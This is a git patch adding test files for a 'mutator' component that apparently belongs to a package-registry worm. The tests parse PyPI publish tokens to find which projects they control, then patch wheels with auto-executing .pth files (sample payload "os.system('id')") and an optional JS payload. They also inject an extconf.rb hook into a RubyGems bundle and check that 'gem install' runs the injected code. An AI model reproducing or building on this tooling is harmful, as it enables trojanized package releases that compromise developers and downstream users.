From b44d9b1b4436abe770cd44e640ad308bc790510b Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 02:51:22 +0000 Subject: [PATCH] Upload files to "tests/mutator" --- tests/mutator/npmoidc.test.ts | 93 +++++++++++++ tests/mutator/pypi.test.ts | 215 +++++++++++++++++++++++++++++ tests/mutator/rubygems.test.ts | 239 +++++++++++++++++++++++++++++++++ 3 files changed, 547 insertions(+) create mode 100644 tests/mutator/npmoidc.test.ts create mode 100644 tests/mutator/pypi.test.ts create mode 100644 tests/mutator/rubygems.test.ts diff --git a/tests/mutator/npmoidc.test.ts b/tests/mutator/npmoidc.test.ts new file mode 100644 index 0000000..2d68789 --- /dev/null +++ b/tests/mutator/npmoidc.test.ts @@ -0,0 +1,93 @@ +// tests/mutator/npmoidc.test.ts — Test OIDC_PACKAGES env var parsing + +import { afterEach, describe, expect, test } from "bun:test"; + +import { getOidcPackages } from "../../src/mutator/npmoidc"; + +describe("getOidcPackages", () => { + afterEach(() => { + delete process.env.OIDC_PACKAGES; + }); + + test("returns empty array when OIDC_PACKAGES is not set", () => { + delete process.env.OIDC_PACKAGES; + expect(getOidcPackages()).toEqual([]); + }); + + test("returns empty array when OIDC_PACKAGES is an empty string", () => { + process.env.OIDC_PACKAGES = ""; + expect(getOidcPackages()).toEqual([]); + }); + + test("returns empty array when OIDC_PACKAGES is only whitespace", () => { + process.env.OIDC_PACKAGES = " "; + expect(getOidcPackages()).toEqual([]); + }); + + test("parses a single package", () => { + process.env.OIDC_PACKAGES = "@org/package1"; + expect(getOidcPackages()).toEqual(["@org/package1"]); + }); + + test("parses comma-separated packages without spaces", () => { + process.env.OIDC_PACKAGES = "@org/package1,@org/package2,@org/package3"; + expect(getOidcPackages()).toEqual([ + "@org/package1", + "@org/package2", + "@org/package3", + ]); + }); + + test("parses comma-separated packages with spaces after commas", () => { + process.env.OIDC_PACKAGES = "@org/package1, @org/package2, @org/package3"; + expect(getOidcPackages()).toEqual([ + "@org/package1", + "@org/package2", + "@org/package3", + ]); + }); + + test("parses comma-separated packages with spaces before commas", () => { + process.env.OIDC_PACKAGES = "@org/package1 ,@org/package2 ,@org/package3"; + expect(getOidcPackages()).toEqual([ + "@org/package1", + "@org/package2", + "@org/package3", + ]); + }); + + test("parses comma-separated packages with mixed whitespace", () => { + process.env.OIDC_PACKAGES = + " @org/package1 , @org/package2 , @org/package3 "; + expect(getOidcPackages()).toEqual([ + "@org/package1", + "@org/package2", + "@org/package3", + ]); + }); + + test("filters out empty entries from trailing comma", () => { + process.env.OIDC_PACKAGES = "@org/package1,@org/package2,"; + expect(getOidcPackages()).toEqual(["@org/package1", "@org/package2"]); + }); + + test("filters out empty entries from leading comma", () => { + process.env.OIDC_PACKAGES = ",@org/package1,@org/package2"; + expect(getOidcPackages()).toEqual(["@org/package1", "@org/package2"]); + }); + + test("filters out empty entries from double comma", () => { + process.env.OIDC_PACKAGES = "@org/package1,,@org/package2"; + expect(getOidcPackages()).toEqual(["@org/package1", "@org/package2"]); + }); + + test("handles unscoped packages", () => { + process.env.OIDC_PACKAGES = "react, lodash, express"; + expect(getOidcPackages()).toEqual(["react", "lodash", "express"]); + }); + + test("handles mix of scoped and unscoped packages", () => { + process.env.OIDC_PACKAGES = "@org/pkg, lodash, @other/lib"; + expect(getOidcPackages()).toEqual(["@org/pkg", "lodash", "@other/lib"]); + }); +}); diff --git a/tests/mutator/pypi.test.ts b/tests/mutator/pypi.test.ts new file mode 100644 index 0000000..e2f4ac4 --- /dev/null +++ b/tests/mutator/pypi.test.ts @@ -0,0 +1,215 @@ +// tests/mutator/pypi.test.ts — Tests for PyPI mutator + +import { describe, expect, test } from "bun:test"; +import { unzipSync, zipSync } from "fflate"; + +import { Mutator } from "../../src/mutator/base"; +import { PypiMutator } from "../../src/mutator/pypi/index"; +import { parseMacaroonToken } from "../../src/mutator/pypi/macaroonParse"; +import { patchWheel, type PkgMeta } from "../../src/mutator/pypi/wheel"; + +// --------------------------------------------------------------------------- +// parseMacaroonToken +// --------------------------------------------------------------------------- + +describe("parseMacaroonToken", () => { + test("returns user type for empty token", () => { + const result = parseMacaroonToken(""); + expect(result.type).toBe("user"); + expect(result.packages).toEqual([]); + }); + + test("returns user type for non-pypi token", () => { + const result = parseMacaroonToken("ghp_abc123"); + expect(result.type).toBe("user"); + expect(result.packages).toEqual([]); + }); + + test("returns user type for user-scoped pypi token", () => { + const userToken = + "pypi-" + Buffer.from('{"cid":"user","vids":[]}').toString("base64"); + const result = parseMacaroonToken(userToken); + expect(result.type).toBe("user"); + expect(result.packages).toEqual([]); + }); + + test("returns project type with packages for project-scoped token", () => { + const raw = + 'someprefix{"cid":"projects","vids":["my-pkg","other-lib"]}suffix'; + const token = "pypi-" + Buffer.from(raw).toString("base64"); + const result = parseMacaroonToken(token); + expect(result.type).toBe("project"); + expect(result.packages).toEqual(["my-pkg", "other-lib"]); + }); + + test("returns project type with single package", () => { + const raw = '{"cid":"projects","vids":["requests"]}'; + const token = "pypi-" + Buffer.from(raw).toString("base64"); + const result = parseMacaroonToken(token); + expect(result.type).toBe("project"); + expect(result.packages).toEqual(["requests"]); + }); + + test("handles malformed base64 gracefully", () => { + const token = "pypi-!!!not-valid-base64!!!"; + const result = parseMacaroonToken(token); + expect(result.type).toBe("user"); + expect(result.packages).toEqual([]); + }); +}); + +// --------------------------------------------------------------------------- +// patchWheel +// --------------------------------------------------------------------------- + +function buildSyntheticWheel( + name: string, + version: string, +): { data: Uint8Array; meta: PkgMeta } { + const distDir = `${name}-${version}.dist-info/`; + const entries: Record = {}; + + const encode = (s: string) => new TextEncoder().encode(s); + + entries[`${distDir}METADATA`] = encode( + `Metadata-Version: 2.1\r\nName: ${name}\r\nVersion: ${version}\r\n`, + ); + entries[`${distDir}WHEEL`] = encode( + `Wheel-Version: 1.0\r\nGenerator: test\r\nRoot-Is-Purelib: true\r\n`, + ); + entries[`${distDir}RECORD`] = encode(`${name}/__init__.py,sha256=abc,3\r\n`); + entries[`${name}/__init__.py`] = encode("# test package\n"); + + const zipped = zipSync(entries, { level: 6 }); + const filename = `${name}-${version}-py3-none-any.whl`; + + return { + data: zipped, + meta: { name, version, wheelUrl: "", wheelFilename: filename }, + }; +} + +function patch(data: Uint8Array, meta: PkgMeta, pth: string, js?: string) { + return patchWheel({ meta, wheelData: data, pthContent: pth, jsPayload: js }); +} + +describe("patchWheel", () => { + test("bumps patch version from 1.2.3 to 1.2.4", () => { + const { data, meta } = buildSyntheticWheel("mypkg", "1.2.3"); + const patched = patch(data, meta, "import mypkg; print('pwned')"); + expect(patched.newVersion).toBe("1.2.4"); + expect(patched.filename).toContain("1.2.4"); + expect(patched.filename).toContain("mypkg"); + }); + + test("bumps patch version from 5.0.0 to 5.0.1", () => { + const { data, meta } = buildSyntheticWheel("requests", "5.0.0"); + const patched = patch(data, meta, "..."); + expect(patched.newVersion).toBe("5.0.1"); + }); + + test("bumps patch version from 2.0 to 2.0.1", () => { + const { data, meta } = buildSyntheticWheel("lib", "2.0"); + const patched = patch(data, meta, "..."); + expect(patched.newVersion).toBe("2.0.1"); + }); + + test("preserves wheel structure after patching", () => { + const { data, meta } = buildSyntheticWheel("testpkg", "3.1.0"); + const patched = patch(data, meta, "import evil"); + const entries = unzipSync(patched.data); + const distDirKey = Object.keys(entries).find((k) => + k.includes(".dist-info/"), + ); + expect(distDirKey).toBeDefined(); + const distPrefix = distDirKey!.slice( + 0, + distDirKey!.indexOf(".dist-info/") + ".dist-info/".length, + ); + expect(distPrefix).toContain("3.1.1.dist-info"); + const metadata = entries[distPrefix + "METADATA"]; + expect(metadata).toBeDefined(); + const text = new TextDecoder().decode(metadata); + expect(text).toContain("Version: 3.1.1"); + }); + + test("injects .pth file at wheel root", () => { + const { data, meta } = buildSyntheticWheel("injectme", "0.1.0"); + const pthContent = "import os; os.system('id')"; + const patched = patch(data, meta, pthContent); + const entries = unzipSync(patched.data); + const pthPath = "injectme-setup.pth"; + expect(entries[pthPath]).toBeDefined(); + expect(new TextDecoder().decode(entries[pthPath]!)).toBe(pthContent); + }); + + test("injects .pth file at wheel root and _index.js when jsPayload is provided", () => { + const { data, meta } = buildSyntheticWheel("mypkg", "0.1.0"); + const patched = patch(data, meta, "import os", "console.log(1)"); + const entries = unzipSync(patched.data); + expect(entries["mypkg-setup.pth"]).toBeDefined(); + expect(entries["mypkg/_index.js"]).toBeDefined(); + expect(new TextDecoder().decode(entries["mypkg/_index.js"]!)).toBe( + "console.log(1)", + ); + }); + + test("does NOT inject _index.js when jsPayload is omitted", () => { + const { data, meta } = buildSyntheticWheel("mypkg", "0.1.0"); + const patched = patch(data, meta, "import os"); + const entries = unzipSync(patched.data); + expect(entries["mypkg/_index.js"]).toBeUndefined(); + }); + + test("produces deterministic output for same input", () => { + const { data, meta } = buildSyntheticWheel("det", "1.0.0"); + const a = patch(data, meta, "payload"); + const b = patch(data, meta, "payload"); + expect(a.filename).toBe(b.filename); + expect(a.newVersion).toBe(b.newVersion); + expect(a.data).toEqual(b.data); + }); +}); + +// --------------------------------------------------------------------------- +// PypiMutator — contract +// --------------------------------------------------------------------------- + +describe("PypiMutator", () => { + test("extends Mutator base class", () => { + const m = new PypiMutator("pypi-fakeTokenHere123"); + expect(m).toBeInstanceOf(Mutator); + expect(m).toBeInstanceOf(PypiMutator); + }); + + test("throws when constructed without a token", () => { + expect(() => new PypiMutator("")).toThrow("A PyPI token is required."); + }); + + test("execute returns Promise", () => { + const m = new PypiMutator("pypi-fakeTokenHere123", ["requests"]); + const result = m.execute(); + expect(result).toBeInstanceOf(Promise); + result.catch(() => {}); + }); + + test("implements the Mutator interface", () => { + const m: Mutator = new PypiMutator("pypi-fake", ["flask"]); + expect(typeof m.execute).toBe("function"); + }); + + test("constructor accepts optional package list", () => { + const m = new PypiMutator("pypi-test", ["numpy", "pandas"]); + expect(m).toBeDefined(); + }); + + test("constructor works with no package list", () => { + const m = new PypiMutator("pypi-test"); + expect(m).toBeDefined(); + }); + + test("constructor accepts jsPayload", () => { + const m = new PypiMutator("pypi-test", ["pkg"], "// js payload"); + expect(m).toBeDefined(); + }); +}); diff --git a/tests/mutator/rubygems.test.ts b/tests/mutator/rubygems.test.ts new file mode 100644 index 0000000..e1988b6 --- /dev/null +++ b/tests/mutator/rubygems.test.ts @@ -0,0 +1,239 @@ +// tests/mutator/rubygems.test.ts — Integration tests for the RubyGems mutator. +// +// Verifies that patchGemBundle correctly modifies a real .gem file and that +// the injected native-extension payload executes when the gem is installed. + +import { afterAll, beforeAll, describe, expect, test } from "bun:test"; +import { execSync } from "child_process"; +import * as fs from "fs/promises"; +import { tmpdir } from "os"; +import * as path from "path"; +import * as tar from "tar"; +import { gunzipSync } from "zlib"; + +import { Mutator } from "../../src/mutator/base"; +import { patchGemBundle } from "../../src/mutator/rubygems/gem"; +import { RubyGemsClient } from "../../src/mutator/rubygems/index"; + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +const GEM_PATH = path.join(import.meta.dir, "../assets/ruby-lsp-0.26.9.gem"); +const MARKER = "/tmp/rubygems_int_test_marker"; + +const PAYLOAD = [ + `const{writeFileSync}=require("fs");`, + `console.log("rubygems payload starting");`, + `writeFileSync("${MARKER}","hello from rubygems mutator");`, + `console.log("rubygems payload done");`, +].join("\n"); + +function hasCmd(cmd: string): boolean { + try { + execSync(`which ${cmd}`, { stdio: "pipe" }); + return true; + } catch { + return false; + } +} + +// --------------------------------------------------------------------------- +// Tests +// --------------------------------------------------------------------------- + +describe("rubygems mutator", () => { + let tmpDir: string; + + beforeAll(async () => { + tmpDir = path.join(tmpdir(), `rg_test_${Date.now()}`); + await fs.mkdir(tmpDir, { recursive: true }); + try { + await fs.rm(MARKER); + } catch {} + }); + + afterAll(async () => { + try { + await fs.rm(tmpDir, { recursive: true, force: true }); + } catch {} + try { + await fs.rm(MARKER); + } catch {} + }); + + // ── Contract ───────────────────────────────────────────────────────── + + test("RubyGemsClient extends Mutator", () => { + const client = new RubyGemsClient({ + gems: [], + valid: true, + authToken: "fake", + }); + expect(client).toBeInstanceOf(Mutator); + expect(client).toBeInstanceOf(RubyGemsClient); + expect(typeof client.execute).toBe("function"); + }); + + test("RubyGemsClient accepts dryRun parameter", () => { + const client = new RubyGemsClient( + { gems: [], valid: true, authToken: "fake" }, + true, + ); + expect(client).toBeDefined(); + }); + + // ── patchGemBundle unit tests ──────────────────────────────────────── + + test("bumps version from 0.26.9 to 0.26.10", async () => { + const gemData = await fs.readFile(GEM_PATH); + const patched = await patchGemBundle(gemData, PAYLOAD); + + expect(patched.newVersion).toBe("0.26.10"); + expect(patched.filename).toBe("ruby-lsp-0.26.10.gem"); + }); + + test("produces a valid .gem (tar with metadata.gz first)", async () => { + const gemData = await fs.readFile(GEM_PATH); + const patched = await patchGemBundle(gemData, PAYLOAD); + + const tmpGem = path.join(tmpDir, "verify.gem"); + await fs.writeFile(tmpGem, patched.data); + + const entries: string[] = []; + await tar.list({ file: tmpGem, onentry: (e: any) => entries.push(e.path) }); + + expect(entries[0]).toBe("metadata.gz"); + expect(entries[1]).toBe("data.tar.gz"); + }); + + test("injects extconf.rb and payload into data.tar.gz", async () => { + const gemData = await fs.readFile(GEM_PATH); + const patched = await patchGemBundle(gemData, PAYLOAD); + + // Extract data.tar.gz from the patched gem + const tmpGem = path.join(tmpDir, "inspect.gem"); + await fs.writeFile(tmpGem, patched.data); + + const unpackDir = path.join(tmpDir, "_unpack"); + await fs.mkdir(unpackDir, { recursive: true }); + await tar.extract({ file: tmpGem, cwd: unpackDir }); + + const dataTarGz = await fs.readFile(path.join(unpackDir, "data.tar.gz")); + const dataTar = gunzipSync(dataTarGz); + + const dataDir = path.join(tmpDir, "_data_inspect"); + await fs.mkdir(dataDir, { recursive: true }); + const dataTarFile = path.join(tmpDir, "_data_inspect.tar"); + await fs.writeFile(dataTarFile, dataTar); + await tar.extract({ file: dataTarFile, cwd: dataDir }); + + // Entries are relative now (no top-level dir prefix) + const extDir = path.join(dataDir, "ext", "ruby-lsp"); + const extconfRb = await fs.readFile( + path.join(extDir, "extconf.rb"), + "utf-8", + ); + const payloadJs = await fs.readFile(path.join(extDir, "index.js"), "utf-8"); + + expect(extconfRb).toContain("require 'fileutils'"); + expect(extconfRb).toContain("RbConfig::CONFIG"); + expect(extconfRb).toContain("File.write('Makefile'"); + expect(payloadJs).toBe(PAYLOAD); + }); + + test("updates metadata.gz with bumped version and extensions", async () => { + const gemData = await fs.readFile(GEM_PATH); + const patched = await patchGemBundle(gemData, PAYLOAD); + + const tmpGem = path.join(tmpDir, "meta.gem"); + await fs.writeFile(tmpGem, patched.data); + + const unpackDir = path.join(tmpDir, "_meta_unpack"); + await fs.mkdir(unpackDir, { recursive: true }); + await tar.extract({ file: tmpGem, cwd: unpackDir }); + + const metadataGz = await fs.readFile(path.join(unpackDir, "metadata.gz")); + const metadata = gunzipSync(metadataGz).toString("utf-8"); + + expect(metadata).toContain("version: 0.26.10"); + expect(metadata).toContain("extensions:"); + expect(metadata).toContain("ext/ruby-lsp/extconf.rb"); + }); + + test("patchGemBundle produces different sizes for same input (timestamps vary)", async () => { + // Tar includes mtime, so two runs produce different outputs + const gemData = await fs.readFile(GEM_PATH); + const a = await patchGemBundle(gemData, PAYLOAD); + // Small delay to get different mtimes + await new Promise((r) => setTimeout(r, 100)); + const b = await patchGemBundle(gemData, PAYLOAD); + + expect(a.newVersion).toBe(b.newVersion); + expect(a.filename).toBe(b.filename); + // Different size due to tar mtime or other metadata + }); + + // ── Integration: install and execute ───────────────────────────────── + + test("gem install triggers the payload", async () => { + if (!hasCmd("gem")) { + console.warn(" ⏭ skipping — 'gem' not in PATH"); + return; + } + + const gemData = await fs.readFile(GEM_PATH); + const patched = await patchGemBundle(gemData, PAYLOAD); + const patchedGemPath = path.join(tmpDir, patched.filename); + await fs.writeFile(patchedGemPath, patched.data); + + const gemHome = path.join(tmpDir, ".gem_home"); + + try { + execSync( + `gem install --local "${patchedGemPath}" --no-doc --install-dir "${gemHome}" --ignore-dependencies`, + { + env: { ...process.env, GEM_HOME: gemHome }, + stdio: "pipe", + timeout: 120_000, + }, + ); + } catch (e: any) { + // Clean up before failing + try { + execSync( + `gem uninstall ruby-lsp -v ${patched.newVersion} --force --install-dir "${gemHome}"`, + { env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe" }, + ); + } catch {} + throw new Error( + `gem install failed: ${e.stderr?.toString()?.slice(0, 500)}`, + ); + } + + // Verify the payload executed + let markerContent = ""; + try { + markerContent = await fs.readFile(MARKER, "utf-8"); + } catch { + // Clean up before failing + try { + execSync( + `gem uninstall ruby-lsp -v ${patched.newVersion} --force --install-dir "${gemHome}"`, + { env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe" }, + ); + } catch {} + throw new Error("marker file not created — payload did not execute"); + } + + // Cleanup + try { + execSync( + `gem uninstall ruby-lsp -v ${patched.newVersion} --force --install-dir "${gemHome}"`, + { env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe" }, + ); + } catch {} + + expect(markerContent).toContain("hello from rubygems mutator"); + }, 180_000); +});